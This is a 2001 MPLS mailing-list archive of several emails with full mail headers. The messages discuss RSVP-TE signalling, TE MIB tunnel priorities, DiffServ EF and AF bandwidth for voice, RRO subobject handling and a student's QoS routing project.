Received: from ertpg15e1.nortelnetworks.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: ertpg15e1.nortelnetworks.com [47.234.0.36])
	id QQllvv01262
	for <mpls@UU.NET>; Mon, 22 Oct 2001 14:46:53 GMT
Received: from ertpg14e1.nortelnetworks.com (zrtph06m [47.125.208.110])
	by ertpg15e1.nortelnetworks.com (8.11.0/8.11.0) with ESMTP id f9MEhBu07149
	for <mpls@UU.NET>; Mon, 22 Oct 2001 10:43:11 -0400 (EDT)
Received: from zrtpd004.us.nortel.com (actually zrtpd004) 
          by ertpg14e1.nortelnetworks.com; Mon, 22 Oct 2001 10:43:00 -0400
Received: by zrtpd004.us.nortel.com with Internet Mail Service (5.5.2653.19) 
          id <TXYSG637>; Mon, 22 Oct 2001 10:42:30 -0400
Message-ID: <BF9DC6DE7302D211AEF70000F8BCBF800623D224@zsawd004.cala.nortel.com>
From: "Ravindran Balakisnan" <ravi63@nortelnetworks.com>
To: "'mpls@UU.NET'" <mpls@UU.NET>,
        "'mpls-ops@mplsrc.com'" <mpls-ops@mplsrc.com>,
        "'te-wg@ops.ietf.org'" <te-wg@ops.ietf.org>
Subject: unsubscribe
Date: Mon, 22 Oct 2001 10:42:12 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: multipart/alternative;
              boundary="----_=_NextPart_001_01C15B07.BC147300"
Sender: owner-mpls@UU.NET
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C15B07.BC147300
Content-Type: text/plain;
	charset="iso-8859-1"

Please unsubscribe me from this list.

Thanks
Ravi 


-----Original Message-----
From: senthil kumar ayyasamy [mailto:mplsgeek@yahoo.com]
Sent: Sunday, October 21, 2001 1:35 PM
To: mpls@UU.NET; mpls-ops@mplsrc.com; te-wg@ops.ietf.org
Subject: Qos routing in MPLS


Hi,
I am a graduate student and i have been assinged to
implement the following functionality on an MPLS
architechture in an linux environment.The
functionality is as follows:

there are three routes in an MPLS aware network as
below,
            C
          /   \
         /     \
        /       \
       /         \
      A-----------B
  Under normal conditions,the route followed for a
prioritized traffic has to follow from A to B.But,on a
peak traffic,it has to be routed through C .
Also,we have to block the traffic when their is an pre
assinged traffic from C to B  which has to be assinged
a BW of 95% (no. should be generic).
so, my questions are,
1.On which signalling protocol can i implement the
above feature...RSVP-TE or CR-LDP?
2.had i have to write the code for these protocols
from scratch or can i use the existing GPL code for
including these functionalities??
3.please suggest some sources for finding the public
code for all these protocols in linux??
4.suggest some more functinality to be implemented
other than the one i have mentioned above??
5.Is there any performnace analyser to check the above
mentoned functionality ?
6.please do give some specific advices on implementing
the above mentioned funtionality??
Thanks in advance and 
hope to get more advice from u all,
senthil kumar.



__________________________________________________
Do You Yahoo!?
Make a great connection at Yahoo! Personals.
http://personals.yahoo.com

-------
The MPLS-OPS Mailing List
Subscribe/Unsubscribe:  http://www.mplsrc.com/mplsops.shtml
Archive: http://www.mplsrc.com/mpls-ops_archive.shtml

------_=_NextPart_001_01C15B07.BC147300
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2654.89">
<TITLE>unsubscribe</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=3D2>Please unsubscribe me from this list.</FONT>
</P>

<P><FONT SIZE=3D2>Thanks</FONT>
<BR><FONT SIZE=3D2>Ravi </FONT>
</P>
<BR>

<P><FONT SIZE=3D2>-----Original Message-----</FONT>
<BR><FONT SIZE=3D2>From: senthil kumar ayyasamy [<A =
HREF=3D"mailto:mplsgeek@yahoo.com">mailto:mplsgeek@yahoo.com</A>]</FONT>=

<BR><FONT SIZE=3D2>Sent: Sunday, October 21, 2001 1:35 PM</FONT>
<BR><FONT SIZE=3D2>To: mpls@UU.NET; mpls-ops@mplsrc.com; =
te-wg@ops.ietf.org</FONT>
<BR><FONT SIZE=3D2>Subject: Qos routing in MPLS</FONT>
</P>
<BR>

<P><FONT SIZE=3D2>Hi,</FONT>
<BR><FONT SIZE=3D2>I am a graduate student and i have been assinged =
to</FONT>
<BR><FONT SIZE=3D2>implement the following functionality on an =
MPLS</FONT>
<BR><FONT SIZE=3D2>architechture in an linux environment.The</FONT>
<BR><FONT SIZE=3D2>functionality is as follows:</FONT>
</P>

<P><FONT SIZE=3D2>there are three routes in an MPLS aware network =
as</FONT>
<BR><FONT SIZE=3D2>below,</FONT>
<BR><FONT =
SIZE=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp; C</FONT>
<BR><FONT =
SIZE=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
/&nbsp;&nbsp; \</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
/&nbsp;&nbsp;&nbsp;&nbsp; \</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; A-----------B</FONT>
<BR><FONT SIZE=3D2>&nbsp; Under normal conditions,the route followed =
for a</FONT>
<BR><FONT SIZE=3D2>prioritized traffic has to follow from A to B.But,on =
a</FONT>
<BR><FONT SIZE=3D2>peak traffic,it has to be routed through C .</FONT>
<BR><FONT SIZE=3D2>Also,we have to block the traffic when their is an =
pre</FONT>
<BR><FONT SIZE=3D2>assinged traffic from C to B&nbsp; which has to be =
assinged</FONT>
<BR><FONT SIZE=3D2>a BW of 95% (no. should be generic).</FONT>
<BR><FONT SIZE=3D2>so, my questions are,</FONT>
<BR><FONT SIZE=3D2>1.On which signalling protocol can i implement =
the</FONT>
<BR><FONT SIZE=3D2>above feature...RSVP-TE or CR-LDP?</FONT>
<BR><FONT SIZE=3D2>2.had i have to write the code for these =
protocols</FONT>
<BR><FONT SIZE=3D2>from scratch or can i use the existing GPL code =
for</FONT>
<BR><FONT SIZE=3D2>including these functionalities??</FONT>
<BR><FONT SIZE=3D2>3.please suggest some sources for finding the =
public</FONT>
<BR><FONT SIZE=3D2>code for all these protocols in linux??</FONT>
<BR><FONT SIZE=3D2>4.suggest some more functinality to be =
implemented</FONT>
<BR><FONT SIZE=3D2>other than the one i have mentioned above??</FONT>
<BR><FONT SIZE=3D2>5.Is there any performnace analyser to check the =
above</FONT>
<BR><FONT SIZE=3D2>mentoned functionality ?</FONT>
<BR><FONT SIZE=3D2>6.please do give some specific advices on =
implementing</FONT>
<BR><FONT SIZE=3D2>the above mentioned funtionality??</FONT>
<BR><FONT SIZE=3D2>Thanks in advance and </FONT>
<BR><FONT SIZE=3D2>hope to get more advice from u all,</FONT>
<BR><FONT SIZE=3D2>senthil kumar.</FONT>
</P>
<BR>
<BR>

<P><FONT =
SIZE=3D2>__________________________________________________</FONT>
<BR><FONT SIZE=3D2>Do You Yahoo!?</FONT>
<BR><FONT SIZE=3D2>Make a great connection at Yahoo! Personals.</FONT>
<BR><FONT SIZE=3D2><A HREF=3D"http://personals.yahoo.com" =
TARGET=3D"_blank">http://personals.yahoo.com</A></FONT>
</P>

<P><FONT SIZE=3D2>-------</FONT>
<BR><FONT SIZE=3D2>The MPLS-OPS Mailing List</FONT>
<BR><FONT SIZE=3D2>Subscribe/Unsubscribe:&nbsp; <A =
HREF=3D"http://www.mplsrc.com/mplsops.shtml" =
TARGET=3D"_blank">http://www.mplsrc.com/mplsops.shtml</A></FONT>
<BR><FONT SIZE=3D2>Archive: <A =
HREF=3D"http://www.mplsrc.com/mpls-ops_archive.shtml" =
TARGET=3D"_blank">http://www.mplsrc.com/mpls-ops_archive.shtml</A></FONT=
>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C15B07.BC147300--



From owner-mpls@UU.NET  Mon Oct 22 11:09:29 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA19480
	for <mpls-archive@lists.ietf.org>; Mon, 22 Oct 2001 11:09:29 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQllvw04221;
	Mon, 22 Oct 2001 15:02:41 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQllvw15120
	for mpls-outgoing; Mon, 22 Oct 2001 15:02:35 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQllvw14466
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 22 Oct 2001 15:02:22 GMT
Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQllvw06944
	for <mpls@uu.net>; Mon, 22 Oct 2001 15:01:05 GMT
Received: from funnel.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQllvw25122
	for <mpls@uu.net>; Mon, 22 Oct 2001 15:01:20 GMT
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.134.50]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id LAA18373 for <mpls@uu.net>; Mon, 22 Oct 2001 11:01:01 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id LAA09776 for mpls@uu.net; Mon, 22 Oct 2001 11:01:01 -0400 (EDT)
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQllvv04691
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 22 Oct 2001 14:59:38 GMT
Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQllvv00358
	for <mpls@UU.NET>; Mon, 22 Oct 2001 14:58:48 GMT
Received: from funnel.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQllvv21329
	for <mpls@UU.NET>; Mon, 22 Oct 2001 14:59:05 GMT
Received: from bucket.cisco.com (mirapoint@bucket.cisco.com [161.44.167.72]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id KAA17848; Mon, 22 Oct 2001 10:58:37 -0400 (EDT)
Received: from tnadeau-w2k.cisco.com (tnadeau-frame5.cisco.com [10.83.99.126])
	by bucket.cisco.com (Mirapoint)
	with ESMTP id ABB01568;
	Mon, 22 Oct 2001 10:58:28 -0400 (EDT)
Message-Id: <4.3.2.7.2.20011022105734.01a04d68@bucket.cisco.com>
X-Sender: tnadeau@bucket.cisco.com
X-Mailer: QUALCOMM Windows Eudora Version 4.3.2
Date: Mon, 22 Oct 2001 10:59:30 -0400
To: "Ashwin C. Prabhu" <Ashwinp@in.huawei.com>
From: Thomas Nadeau <tnadeau@cisco.com>
Subject: Re: Doubt in draft-ietf-mpls-te-mib-07.txt 
Cc: mpls@UU.NET, mpls-ops@mplsrc.com
In-Reply-To: <751B6DD7A243D511AB9F0002557C56870146028F@HUAWEIMAIL>
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="=====================_6666606==_.ALT"
Sender: owner-mpls@UU.NET
Precedence: bulk

--=====================_6666606==_.ALT
Content-Type: text/plain; charset="us-ascii"; format=flowed


>  How to configure that this tunnel instance is primary, secondary in the
>  Tunnel Table ?

         Use a different tunnelInstancePriority.

>  Is it assumed that the one with the highest instance priority is the 
> primary ?

         Yes.

         --Tom



>  Please get on the same if anybody know it.
>
>Thanks in Advance
>Ashwin
>
>



------------------------------------------------------------------------
Mathematics is the supreme nostalgia of our time. 
--=====================_6666606==_.ALT
Content-Type: text/html; charset="us-ascii"

<html>
<font face="arial" size=3><br>
</font><blockquote type=cite cite><font face="arial" size=2 color="#0000FF">&nbsp;How
to configure that this tunnel instance is primary, secondary in the
</font><font size=3><br>
</font><font face="arial" size=2 color="#0000FF">&nbsp;Tunnel Table
?</font></blockquote><br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>Use a
different tunnelInstancePriority.<br>
<br>
<blockquote type=cite cite><font face="arial" size=2 color="#0000FF">&nbsp;Is
it assumed that the one with the highest instance priority is the primary
?</font></blockquote><br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>Yes.<br>
<br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>--Tom<br>
<br>
<br>
<br>
<blockquote type=cite cite><font size=3>&nbsp;</font><font face="arial" size=2 color="#0000FF">Please
get on the same if anybody know it.</font><font size=3><br>
&nbsp;<br>
</font><font face="arial" size=2 color="#0000FF">Thanks in
Advance</font><font size=3><br>
</font><font face="arial" size=2 color="#0000FF">Ashwin</font><font size=3><br>
&nbsp;<br>
&nbsp;</font></blockquote><br>
<br>
<br>
<div>------------------------------------------------------------------------</div>
Mathematics is the supreme nostalgia of our time. 
</html>

--=====================_6666606==_.ALT--



From owner-mpls@UU.NET  Mon Oct 22 11:11:24 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA19518
	for <mpls-archive@lists.ietf.org>; Mon, 22 Oct 2001 11:11:24 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQllvw06456;
	Mon, 22 Oct 2001 15:03:42 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQllvw15386
	for mpls-outgoing; Mon, 22 Oct 2001 15:03:35 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQllvw15371
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 22 Oct 2001 15:03:29 GMT
Received: from dgismtp01.wcomnet.com by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: dgismtp01.wcomnet.com [166.38.58.141])
	id QQllvw12364
	for <mpls@UU.NET>; Mon, 22 Oct 2001 15:02:52 GMT
Received: from CONVERSION-DAEMON by dgismtp01.wcomnet.com (PMDF V5.2-33 #42262)
 id <0GLM00J014GO88@dgismtp01.wcomnet.com> for mpls@UU.NET; Mon,
 22 Oct 2001 15:02:51 +0000 (GMT)
Received: from dgismtp01.wcomnet.com by dgismtp01.wcomnet.com
 (PMDF V5.2-33 #42262) with SMTP id <0GLM00J014GC4J@dgismtp01.wcomnet.com> for
 mpls@UU.NET; Mon, 22 Oct 2001 15:02:49 +0000 (GMT)
Received: from lyao ([166.60.2.199])
 by dgismtp01.wcomnet.com (PMDF V5.2-33 #42262)
 with SMTP id <0GLM00HH34G71U@dgismtp01.wcomnet.com>; Mon,
 22 Oct 2001 15:02:31 +0000 (GMT)
Date: Mon, 22 Oct 2001 11:02:49 -0400
From: Lei Yao <lei.yao@wcom.com>
Subject: RE: Diffserv-Aware Traffic Engineering
In-reply-to: <00b401c15b03$3d388bb0$0fa2c289@camus>
To: Sergio Beker <beker@inf.enst.fr>, mpls@UU.NET
Reply-to: lei.yao@wcom.com
Message-id: <NMEPIJMBHEBOMGBGJBKLGEJNCCAA.lei.yao@wcom.com>
MIME-version: 1.0
X-MIMEOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
Content-type: text/plain; charset=iso-8859-1
Content-transfer-encoding: 7bit
Importance: Normal
X-Priority: 3 (Normal)
X-MSMail-priority: Normal
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

The optimal percentage of bandwidth allocated to the EF class depends on
your QoS objectives on delay, delay variation and loss rate as well as the
link rate. There is no theoretical model which can give you the answers.

AF is not suitable to transmit voice packets by definition. A significant
difference between EF and AF classes is that EF does not allow the drop of
en-queued packets while AF class allows so. Also AF class does not have
requirements on delay variation bound, which is essential for voice traffic.

-----Original Message-----
From: owner-mpls@UU.NET [mailto:owner-mpls@UU.NET]On Behalf Of Sergio Beker
Sent: Monday, October 22, 2001 10:10 AM
To: mpls@UU.NET
Subject: Diffserv-Aware Traffic Engineering

Hello,
In draft-ietf-tewg-diff-te-reqts-01, the Scenario 1 states:

For delay/jitter reasons it is undesirable to carry more than a
   certain percentage of EF traffic on any link. The rest of the
   available link bandwidth can be used to route other classes
   corresponding to delay/jitter insensitive traffic (e.g. Best Effort
   Internet traffic). The exact determination of this percentage is
   outside the scope of this requirements draft.

Could any one point me out to any paper dealing with the optimal proportion
of EF and AF/BE on any link, if it exists?

Also, If voice is being coded using variable bit rate coders, couldn't be
voice traffic be marked to use AF classes instead of EF class? In that case,
I think it would be more appropriate to describe the scenario as High
Proportion of Delay/Jitter Sensitive Traffic instead of voice traffic, to
avoid further discussions and to achieve generalisation.

Thanks in advance.

Sergio Beker



From owner-mpls@UU.NET  Mon Oct 22 13:01:48 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA23604
	for <mpls-archive@lists.ietf.org>; Mon, 22 Oct 2001 13:01:48 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQllwd13601;
	Mon, 22 Oct 2001 16:59:28 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQllwd23570
	for mpls-outgoing; Mon, 22 Oct 2001 16:58:56 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQllwd23565
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 22 Oct 2001 16:58:46 GMT
Received: from cmr2.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQllwd21276
	for <mpls@UU.NET>; Mon, 22 Oct 2001 16:58:17 GMT
Received: from dnsmx2pya.telcordia.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: dnsmx2pya.telcordia.com [128.96.20.32])
	id QQllwd11451
	for <mpls@UU.NET>; Mon, 22 Oct 2001 16:58:25 GMT
Received: from notes640.cc.telcordia.com (notes640.cc.telcordia.com [128.96.22.6])
	by dnsmx2pya.telcordia.com (8.9.3/8.9.3) with ESMTP id MAA11323
	for <mpls@UU.NET>; Mon, 22 Oct 2001 12:53:39 -0400 (EDT)
Subject: unrecognized subobject in rro of path msg
To: mpls@UU.NET
X-Mailer: Lotus Notes Release 5.0.5  September 22, 2000
Message-ID: <OF532360F4.03610693-ON85256AED.00585E16@cc.telcordia.com>
From: "Hong Liao" <hliao@telcordia.com>
Date: Mon, 22 Oct 2001 12:53:39 -0400
X-MIMETrack: Serialize by Router on notes640/Telcordia(Release 5.0.6a |January 17, 2001) at
 10/22/2001 12:53:39 PM
MIME-Version: 1.0
Content-type: text/plain; charset=us-ascii
Sender: owner-mpls@UU.NET
Precedence: bulk

Hi,

Rsvp te draft 4.4.5 says that "new subobjects may be defined for the RRO.
When processing an RRO, unrecognized subobjects should be ignored and
passed on".

So if I send out the Path msg with RRO subobject type other than the
0001/0002/0003, for example:  00FF, and put the same content as type 0001,
then this path msg is supposed to be forwarded and passed on, instead of
being dropped as msg with error, right?

Can anyone help me?

Thanks,

Julia




From owner-mpls@UU.NET  Mon Oct 22 16:47:59 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA29533
	for <mpls-archive@lists.ietf.org>; Mon, 22 Oct 2001 16:47:59 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQllwt13030;
	Mon, 22 Oct 2001 20:46:24 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQllwt00888
	for mpls-outgoing; Mon, 22 Oct 2001 20:45:49 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQllwt00878
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 22 Oct 2001 20:45:37 GMT
Received: from cmr2.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQllwt03052
	for <mpls@UU.NET>; Mon, 22 Oct 2001 20:45:28 GMT
Received: from huaweimail.in.huawei.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [203.197.168.164])
	id QQllwt01295
	for <mpls@UU.NET>; Mon, 22 Oct 2001 20:45:39 GMT
Received: by HUAWEIMAIL with Internet Mail Service (5.5.2653.19)
	id <48ZLG6N6>; Tue, 23 Oct 2001 02:06:21 +0530
Message-ID: <751B6DD7A243D511AB9F0002557C5687014604BF@HUAWEIMAIL>
From: Marshall Ma Shaowen <Marshall@in.huawei.com>
To: mpls@UU.NET, mpls-ops@mplsrc.com
Subject: the nexthop of RSVP_TE.
Date: Tue, 23 Oct 2001 02:06:21 +0530
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C15B39.356E7760"
Sender: owner-mpls@UU.NET
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C15B39.356E7760
Content-Type: text/plain;
	charset="gb2312"

hi, all
I have a question about the nexthop of RSVP_TE.
as the draft said that we should follow the ERO to forward the packet.
but the rfc2205 says that the destination address is the egress ip address.
so there is some problem about this

RTA     
  |
-+--------------+----------------+----------
                       |                      |
                       |                      |
                   RTB               RTC
                       |                      |
                       |                      |
-----------------+---------------+--------------+--------
                                                                   |
                                                                RTD
if the CSPF caclulate a path next hop by RTB and then RTD.
but if the RTA send out the packet with the destiantion of RTD, 
both the RTB and RTC will forward this packet. so How can ensure the LSP
establish through RTA-RTB-RTD ?

Best Regards.
marshall

------_=_NextPart_001_01C15B39.356E7760
Content-Type: text/html;
	charset="gb2312"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Dgb2312">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2653.12">
<TITLE>the nexthop of RSVP_TE.</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=3D2 FACE=3D"Arial">hi, all</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">I have a question about the nexthop =
of RSVP_TE.</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">as the draft said that we should =
follow the ERO to forward the packet.</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">but the rfc2205 says that the =
destination address is the egress ip address.</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">so there is some problem about =
this</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">RTA&nbsp;&nbsp;&nbsp;&nbsp; </FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&nbsp; |</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">-+--------------+----------------+----------</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp; =
|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; |</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp; =
|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; |</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
RTB&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp; RTC</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp; =
|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; |</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp; =
|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; |</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">-----------------+---------------+--------------+--------=
</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; |</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; RTD</FONT>
